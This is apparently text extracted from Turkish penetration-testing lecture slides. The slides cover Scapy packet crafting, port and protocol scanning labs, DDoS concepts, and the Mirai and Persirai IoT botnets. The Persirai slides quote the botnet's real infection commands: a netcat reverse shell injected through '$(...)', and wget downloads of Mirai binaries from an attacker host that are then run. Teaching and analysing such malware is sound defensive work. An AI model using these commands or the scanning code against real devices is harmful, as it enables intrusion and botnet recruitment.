Page 37: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Send/Receive III

>>> res[0][1]<IP version=4 ihl=5 tos=0x0 len=40 id=33783 flags=DF frag=0ttl=64 proto=6 chksum=0x2d29 src=192.168.4.67dst=192.168.4.28 options=[] |<TCP sport=httpdport=7296 seq=0 ack=1 dataofs=5 reserved=0 flags=RAwindow=0 chksum=0x950 urgptr=0 |<Padding load=b’\x00\x00\x00\x00\x00\x00’ |>>>>>> res[0][1].getlayer(Padding).loadb’\x00\x00\x00\x00\x00\x00’

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 38: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

High-Level commands I

>>> ans,unans=traceroute(["www.tubitak.gov.tr","www.sehir.edu.tr","www.cern.ch"])Begin emission:

******************************Finished to send 90 packets.

******************************************................Received 88 packets, got 72 answers, remaining 18 packets188.184.9.235:tcp80 193.140.80.208:tcp80 91.93.32.250:tcp801 192.168.4.1 11 192.168.4.1 11 192.168.4.1 1111 - 193.140.80.208 SA -12 192.65.196.38 11 193.140.80.208 SA -13 - 193.140.80.208 SA -14 - 193.140.80.208 SA -15 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA16 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA17 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA18 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA19 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA2 192.168.0.1 11 192.168.0.1 11 192.168.0.1 1120 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA21 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA22 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA23 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA24 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA25 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA26 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA27 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA28 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA29 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA3 95.183.244.1 11 95.183.244.1 11 95.183.244.1 1130 188.184.9.235 SA 193.140.80.208 SA 91.93.32.250 SA4 193.255.1.45 11 193.255.1.45 11 193.255.1.45 115 62.40.125.129 11 193.140.0.149 11 193.140.0.149 116 62.40.98.47 11 - -7 62.40.98.108 11 - -8 62.40.124.158 11 - -

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 39: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

High-Level commands II

9 192.65.184.38 11 - -

>>> ans[57][1]<IP version=4 ihl=5 tos=0x0 len=44 id=1358 flags=DF frag=0 ttl=104 proto=6chksum=0x8216 src=188.184.9.235 dst=192.168.4.28 options=[] |<TCP sport=httpdport=36693 seq=4030655319 ack=889167473 dataofs=6 reserved=0 flags=SAwindow=8192 chksum=0xae01 urgptr=0 options=[(’MSS’, 1460)] |<Padding load=b’\x00\x00’ |>>>>>> ans[57][1].summary()’IP / TCP 188.184.9.235:http > 192.168.4.28:36693 SA / Padding’

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 40: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 41: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

TCP Port Taraması

I Her bir porta TCP SYN gonder.I SYN-ACK ve RST cevaplarını bekle

# Paketlerin gonderimires,unans = sr(IP(dst="target")/TCP(flags="S",dport=(1,1024)))

# Acik portlarres.nsummary( filter=lambda (s,r): \

(r.haslayer(TCP) and \(r.getlayer(TCP).flags & 2)) )

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 42: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Detect fake TCP replies

I Send a TCP/IP packet with correct IP checksum and bad TCP checksumI A real TCP stack will drop the packetI Some filters or MitM programs will not check it and answer

# Paketlerin gonderimires,unans = sr(IP(dst="target")/TCP(flags="S",dport=(1,1024),chksum=0xBAD))# Cevaplarres.summary()

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 43: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

IP protocol scan

I Send IP packets with every possible value in the protocol field.I Protocol not recognized by the host ⇒ ICMP protocol unreachableI Better results if the IP payload is not empty

# Paketlerin gonderimires,unans = sr( IP(dst="target", proto=(0,255))/"XX" )# recognized protocolsunans.nsummary(prn=lambda s:s.proto)

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 44: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Lab I

Listing 1: tccping

>>> p = IP(dst="192.168.4.39")>>> p /= TCP(dport=80)>>> res,unans = sr(p)Begin emission:..Finished sending 1 packets..*Received 4 packets, got 1 answers, remaining 0 packets>>> res.summary()IP / TCP 192.168.4.69:ftp_data > 192.168.4.39:http S ==> IP / TCP 192.168.4.39:http >192.168.4.69:ftp_data RA / Padding

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 45: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Lab II

Listing 2: Populating packets

>>> packets=rdpcap("odev01.pcap")>>> packets<odev01.pcap: TCP:22441 UDP:2507 ICMP:0 Other:615>>>> packets[8][DNSQR]<DNSQR qname=’hackbox.’ qtype=A qclass=IN |>>>> wireshark(packets[8])

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 46: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Lab III

Listing 3: Processing each packet in a named function

>>> fp = open("payload.dat", "a")>>> def handler(packet):...: fp.write(str(packet.payload.payload))...:>>> sniff(offline="odev01.pcap", prn=handler)<Sniffed: TCP:22441 UDP:2507 ICMP:0 Other:615>

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 47: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Lab IV

Listing 4: Sniff metodu

>>> sniff(count=5,filter="tcp")< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>>>> sniff(count=2, prn=lambda x:x.summary())Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / RawEther / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>>>> a=_>>> a.summary()Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / RawEther / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw>>> wrpcap("/tmp/test.cap", a)>>> rdpcap("/tmp/test.cap")< test.cap: UDP:0 TCP:2 ICMP:0 Other:0>>>> a[0]< Ether dst=00:12:2a:71:1d:2f src=00:02:4e:9d:db:c3 type=0x800

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 48: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Lab V

>>> res[0][1]<IP version=4 ihl=5 tos=0x0 len=40 id=33783 flags=DF frag=0ttl=64 proto=6 chksum=0x2d29 src=192.168.4.67dst=192.168.4.28 options=[] |<TCP sport=httpdport=7296 seq=0 ack=1 dataofs=5 reserved=0 flags=RAwindow=0 chksum=0x950 urgptr=0 |<Padding load=b’\x00\x00\x00\x00\x00\x00’ |>>>>>> res[0][1].getlayer(Padding).loadb’\x00\x00\x00\x00\x00\x00’

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 49: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Lab VI

Listing 5: Protokol taraması

# Paketlerin gonderimires,unans = sr( IP(dst="target", proto=(0,255))/"BGM531 Sizma Testleri ve Guvenlik Denetlemeleri" )# recognized protocolsunans.nsummary(prn=lambda s:s.proto)

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 50: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 51: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

DDoS Saldırı Trendleri

Verisign DDoS Trends Report - Q4 2014I Ortalama saldırı boyutu 7.39 Gbps (gigabits per second)I Q3-2014’e gore % 14 daha yuksekI Q4-2013’e gore % 245 daha yuksek

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 52: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Hizmet Dısı Bırakma Saldırısı Nedir?

I Hizmet dısı bırakma (denial-of-service - DoS) saldırıları, kullanıcılarınsistem kaynaklarına olan erisimi engellemek amacıyla bilgisayar veya aguzerinde yapılan saldırılardır.

I Bir DoS saldırısı, hizmetlere asırı talep gondererek veya ag trafigiolusturarak kaynakların (cpu, memory, disk v.s.) tuketilmesini hedefler.

I DoS saldırısı sonucu bir web sitesine erisilememesi veya agperformansının dusmesi gibi sonuclara neden olur.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 53: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Dagıtık Hizmet Dısı Bırakma Saldırısı Nedir?

I Ele gecirilen bilgisayarlar (compromised computers) aracılıgıyla birhedefe yapılan saldırılar.

I Botnetler kullanılarak yapılan DoS saldırıları

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 54: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Mirai I

I Bot : Cihazlara bulasan zararlı yazılımI Hatalı konfigure cihazlara

kendini bulastırmakI Botmaster’dan komut geldikten

sonra saldırıyı gerceklestirmekI Command and control (C&C) server :

Botnet’i yonetmek icin merkezi yonetimarayuzu. Iletisim: anonymous Tornetwork

I Loader : farklı platformlarda yayılmasıamacıyla kullanılan bilesen. 18 farklıplatform (x86, ARM, MIPS v.s.)

I Report database: Botnet icerisindeyer alan bilgileri. Zararlı yazılımın yenibulasmıs oldugu cihaz kendini burayakayıt eder.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 55: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Mirai II

Botnet calısması ve iletisimI TCP 23 ve 2323 portlarını tarar.

I 23: telnet portu, IoT cihazlarda alternatif olarak 2323 portları Telnet icinayarlanabilmektedir.

I Taranmayan yerler: US Postal Service, The Department of Defense, theInternet Assigned Numbers Authority, General Electric, and Hewlett-Packard

Adım 1: 62 kullanıcı adı/parola ile brute force saldırısı

Adım 2: Basarılı oturum acma ve komut satırına erisim sonrası cihaz hakkındabilgiler report server’a gonderilir.

Adım 3: C&C server report server ile iletisime gecerek yeni kurbanlar ve botnet’indurumu hakkında bilgi alır.

Adım 4: Botmaster, loader’a IP adresleri ve donanım mimari bilgilerini verir.

Adım 5: Loader, cihaz uzerinde oturum acar, wget ile zararlı yazılım (Malware)indirilir. Diger zararlı yazılımların baglanmaması icin Telnet, SSHservislerini kapatır.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 56: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Mirai III

Adım 6: Botmaster, C&C uzerinden hedef IP adresi, saldırının suresi, saldırı tipibilgilerini girer.

Adım 7: Bot instance yazılım TCP, HTTP Seli gibi 10 farklı saldırı tipi ile hedef IPadresine saldırır.

VariantsI Kasım 2016. 7547 portunu (ISP tarafından musterilerin

router/modelerine baglanılan port) tarayan variant. Deutsche Telekom’auye olan yaklasık 1 milyon abone routerlarına erismeye calıstı.

I Subat 2017, Bir universiteye yapılan ve 54 saat suren DDoS saldırısı.I Mayıs 2017, Persirai (Persian Mirai), spesifik web-kameraların 81.

portuna erisim saglamaya calıstı. Brute-force yerine biline bir zero-dayacıklıgı somurulerek gerceklestirildi.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 57: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Persirai I

PersiraiI Mayıs 2017’de 1000 farklı IP kamera modelini hedef alan bir IoT botnet’i

tespit edildi.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 58: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Persirai II

Sekil: The number of vulnerable IP Cameras as of April 26, 2017 (derived fromShodan data)

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 59: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Persirai III

Sekil: Infection Flow of Persirai

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 60: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Persirai IV

$(nc load.gtpnet.ir 1234 -e /bin/sh)

busybox nohup sh -c "killall encoder ;wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1&

wget http://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.binwget http://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.binwget http://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.binwget http://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.binwget http://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.binchmod +x /tmp/arm.binchmod +x /tmp/arm5.binchmod +x /tmp/arm7.binchmod +x /tmp/mips.binchmod +x /tmp/mpsl.binkillall *.binkillall arm

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 61: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Persirai V

killall arm5killall arm7killall mipskillall mpslkillall hal/tmp/arm.bin/tmp/arm5.bin/tmp/arm7.bin/tmp/mips.bin/tmp/mpsl.binrm -rf /tmp/*.bin

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 62: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 63: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

DDoS Saldırı Kategorileri

Vol-umetrik

Hedef ag veya hizmetinbant-genisligini tuketmek

Fragmen-tation

Hedefin, parcalanmıs paketleri yenidenbirlestirme yetenegini tuketilmesi.

TCPState-

Exhaustion

Yuk dengeleyici, guvenlik duvar-ları ve uygulama sunucuları gibiag altyapısı bilesenlerinde bulu-nan baglantı durumu tablolarını

(connection-state tables) tuketilmesi.

Uygu-lama

Katmanı

Uygulama kaynaklarını veya hizmetinituketir, boylece diger kullanıcılar

tarafından kullanılamaz hale getirilir.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 64: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

TCP/IP Standardı

TanımI Internet’in temeliI Yollanan veriler her katmanda sarmallanır

(encapsulation) ve bir alt katmana yollanır.I Alıcı tarafında bu veriler teker teker acılıp

(decapsulation) bir ust katmana gonderilir

I UygulamaI Tasıma

I AgI AgErisimi

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 65: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Dos/DDoS Saldırıları

KavramlarI DoSI DDoSI RoBotNetwork

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 66: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

DoS Saldırıları

Hedef

I Sunucu/BilgisayarI Ag bilesenleri

I UygulamalarI Web siteleri

Yaklasım

I Band genisligiI kurallara uygun olmayan, yuksek trafik istegiI hedef: ag band genisligi, baglantı

I BaglantıI Sunucu yuksek baglantı istegi ile calısamaz hale getirilir.I CPU/Memory kaynakları tukenirI Yasal kullanıcılar icin cevap veremez hale gelir.

I Sonuc: Isletmenin hizmet verememesi.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 67: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

DoS Saldırı Etkileri

DoS Saldırı EtkileriI IT birimine olan etkileri

I dusuk ag genisligiI Istek icin baglantıda yavaslıkI Isteklere cevap verememe

I Isletmeye etkileriI Prestij kaybıI Musteri kaybıI Calısmayan servisler

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 68: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Digital Attack Map - http://www.digitalattackmap.com I

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 69: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Digital Attack Map - http://www.digitalattackmap.com II

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 70: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Digital Attack Map - http://www.digitalattackmap.com III

Digital Attack MapI Canlı DDoS saldırılarıI Gecmis tarih gosterimiI Basında yer alan haberlerI Google Jigsaw (Eski adı: Google Ideas)

I Project Shield (anti-DDoS Service)I media, elections, and human rights related content.I Cloudflare alternatif

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 71: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 72: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Botnet

BotnetI Bot: Pek cok bilgisayar islemini otomatik olarak yapabilen robotlar

bilisimin tum alanlarında kullanılır. En unlu oldukları alan, aramamotorları tarafından kullanıldıkları endeksleme teknolojisidir.I Saldırgan tarafından zararlı amaclar icin bilgisayarların kontrolunu alan

yazılımlar.

I Zombie, zombie agentI Cluster: Ele gecirilmis (compromised computers) bilgisyarlardan olusan,

bir kurbana saldıran bilgisayar kumesiI Bu bilgisayarlar sahiplerinin haberi olmadan ele gecirilmislerdir.I Baska birinin bilgisayarını kullnarak saldırgan yasal olmayan aktivitelerini

gizler.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 73: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

RoBotNetwork I

Tanım

Cesitli gorevleri yerinegetirmek icin ”botnet owner”tarafından kullanılanineternete baglı olancihazlardan olusan ag.

I DDoSI Veri HırsızlıgıI SpamI Bir cihaza erisim

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 74: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

RoBotNetwork II

Mimari

Sekil: Client-Server ModelI Rustock botnetI Srizbi botnet

Sekil: P2P ModelI Gameover ZeuSI ZeroAccess botnet

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

